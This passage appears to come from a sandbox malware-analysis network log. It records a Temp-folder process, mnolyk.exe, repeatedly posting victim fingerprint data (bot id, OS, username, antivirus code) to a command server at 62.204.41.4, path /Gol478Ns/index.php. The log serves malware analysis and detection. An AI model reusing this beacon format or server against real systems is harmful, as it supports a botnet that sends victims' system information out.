Feb 6, 2023 18:38:27.446774960 CET	1009	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	49779	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:10.997636080 CET	487	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:11.064073086 CET	493	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
550	192.168.2.7	50278	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:27.635525942 CET	1010	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:27.701442957 CET	1010	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
551	192.168.2.7	50279	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:27.884546995 CET	1011	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:27.948548079 CET	1011	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
552	192.168.2.7	50280	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:28.132356882 CET	1012	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:28.198837042 CET	1012	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
553	192.168.2.7	50281	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:28.378215075 CET	1013	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:28.442949057 CET	1013	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
554	192.168.2.7	50282	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:28.628160954 CET	1014	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:28.692078114 CET	1014	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
555	192.168.2.7	50283	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:28.863962889 CET	1015	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:28.927964926 CET	1015	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
556	192.168.2.7	50284	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:29.098649979 CET	1016	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:29.162779093 CET	1016	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
557	192.168.2.7	50285	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:29.330319881 CET	1017	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:29.393243074 CET	1017	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
558	192.168.2.7	50286	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:29.567763090 CET	1018	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:29.629834890 CET	1018	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
559	192.168.2.7	50287	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:29.798909903 CET	1019	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:29.862126112 CET	1019	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	49781	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:11.243043900 CET	494	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:11.307111025 CET	495	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
560	192.168.2.7	50288	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:30.033696890 CET	1020	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:30.099051952 CET	1020	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
561	192.168.2.7	50289	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:30.269170046 CET	1021	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:30.333194017 CET	1021	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
562	192.168.2.7	50290	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:30.501538038 CET	1022	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:30.565505028 CET	1022	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
563	192.168.2.7	50291	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:30.738198042 CET	1023	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:30.802054882 CET	1023	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
564	192.168.2.7	50292	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:30.970170975 CET	1024	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:31.033524036 CET	1024	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
565	192.168.2.7	50293	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:31.205771923 CET	1025	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:31.270173073 CET	1025	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
566	192.168.2.7	50294	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:31.479058981 CET	1026	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:31.543909073 CET	1026	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
567	192.168.2.7	50295	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:31.730773926 CET	1027	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:31.795362949 CET	1027	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
568	192.168.2.7	50296	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:31.975155115 CET	1028	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:32.041707039 CET	1028	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
569	192.168.2.7	50297	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
